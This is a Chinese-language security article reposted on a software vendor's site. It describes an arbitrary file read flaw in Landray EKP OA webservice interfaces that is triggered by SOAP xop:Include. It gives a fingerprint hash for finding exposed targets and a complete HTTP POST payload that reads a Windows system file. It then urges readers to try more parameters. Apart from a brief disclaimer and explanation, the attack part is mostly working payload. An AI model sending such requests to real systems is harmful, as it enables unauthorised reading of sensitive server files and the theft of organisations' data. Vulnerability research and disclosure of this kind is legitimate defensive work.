LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

蓝凌OA任意文件读取漏洞

admin
2025年1月9日 19:48 本文热度 18
0x01.技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。

0x02 简介
蓝凌EKP由深圳市蓝凌软件股份有限公司自主研发,是一款全程在线数字化OA,应用于大中型企业在线化办公,包含流程管理、知识管理、会议管理、公文管理等等。蓝凌0A的thirdImSyncForKKWebService接口存在任意文件读取漏洞。攻击者可利用漏洞获取系统敏感信息。
0x03 指纹信息
web.icon=="302464c3f6207d57240649926cfc7bd4"
0x04 漏洞复现
在上一篇文章中分析说了任意文件读取接口不止那一处,因为他造成任意文件读取的不是像我们之前常见的filename,path,url这种。而是触发漏洞的是soap中包含了xop:Include标签,也就是我可以在poc中的任意位置插入paylaod。
SOAP 的 XOP 扩展:
SOAP 的 XOP 扩展:xop:Include 是 SOAP 附件优化机制(XML-binary Optimized Packaging)。如果服务器端 SOAP 框架支持 XOP,并未禁用 file:// 协议,它可能会尝试解析 href 指向的文件内容。触发条件:如果服务器端解析 SOAP 的 type 字段时,遇到 xop:Include 的 href 属性,会调用底层的 URI 解析方法(如 new URL().openStream()),加载指定文件。
那么还有另外的几个webservice接口中也是存在任意文件读取漏洞的。kmImeetingBookWebService接口,触发漏洞的参数是count,其实也就是说在任意的service接口中带有count参数或者type参数都能够触发漏洞。回显还是正常的base64数据需要解密就能或者到数据了。
漏洞payload
POST /sys/webservice/kmImeetingBookWebService HTTP/1.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: SESSION=MmM1ZWZjYWQtZDQ1Mi00NWU3LWI4ZmMtNmQwY2UyYWRkNzEzConnection: close closeContent-Type: multipart/related; boundary=----oxmmdmlnvlx08yluof5qSOAPAction: Content-Type: text/xml;charset=UTF-8Host: Content-Length: 597------oxmmdmlnvlx08yluof5qContent-Disposition: form-data; name="111"<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">   <soapenv:Header/>   <soapenv:Body>      <web:getImeetingBook>         <arg0>            <!--type: string-->            <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:\Windows\System32\drivers\etc\hosts"/></count>         </arg0>      </web:getImeetingBook>   </soapenv:Body></soapenv:Envelope>------oxmmdmlnvlx08yluof5q--
其实还有好几个参数都存在大家可以去试试


阅读原文:原文链接


该文章在 2025/1/10 10:34:51 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved